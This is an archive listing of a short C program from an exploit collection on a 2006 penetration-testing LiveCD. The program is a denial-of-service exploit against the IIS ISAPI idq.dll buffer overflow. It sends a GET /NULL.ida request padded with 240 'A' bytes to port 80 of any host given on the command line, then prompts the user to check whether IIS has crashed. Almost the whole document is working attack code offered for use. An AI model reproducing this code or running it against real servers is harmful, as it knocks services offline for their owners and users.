home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / isapi-dos2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  73 lines

  1. // DoS for isapi idq.dll unchecked buffer.
  2. // For Testing Pruposes
  3. // By Ps0 DtMF dot com dot ar
  4.  
  5. #include <stdio.h>
  6. #include <sys/socket.h>
  7. #include <sys/types.h>
  8. #include <netinet/in.h>
  9. #include <arpa/inet.h>
  10. #include <netdb.h>
  11. #include <errno.h>
  12.  
  13. // #define DEBUG
  14.  
  15. int main(int argc, char *argv[])
  16. {
  17.    char mensaje[800];
  18.    char *bof;
  19.    int fd;
  20.    struct sockaddr_in sin;
  21.    struct hostent *rhost;
  22.  
  23.    if(argc<2) {
  24.      fprintf(stderr,"Use : %s host\n",argv[0]);
  25.      exit(0);
  26.      }
  27.    
  28.    bzero(mensaje,strlen(mensaje));
  29.    
  30.    bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
  31.    
  32.    memset(bof,'A',240);
  33.   
  34.    sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
  35.    
  36.    
  37. #ifdef DEBUG
  38.    printf("\nMenssage : \n%s\n",mensaje);
  39. #endif
  40.    
  41.    if ((rhost=gethostbyname(argv[1]))==NULL){
  42.       printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
  43.       return -1;
  44.    }
  45.  
  46.    sin.sin_family=AF_INET;
  47.    sin.sin_port=htons(80);
  48.  
  49.    memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);
  50.  
  51.    fd = socket(AF_INET,SOCK_STREAM,6);
  52.  
  53.    if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
  54.       printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
  55.       return -1;
  56.    }
  57.    
  58.    printf("Sending string........\n");
  59.    
  60.    if(send(fd,mensaje,strlen(mensaje),0)==-1){
  61.       printf("\nError \n");
  62.       return -1;
  63.    }
  64.    
  65.    printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
  66.    
  67.    close(fd);
  68.    
  69.    return 0;
  70.  
  71. }
  72.    
  73.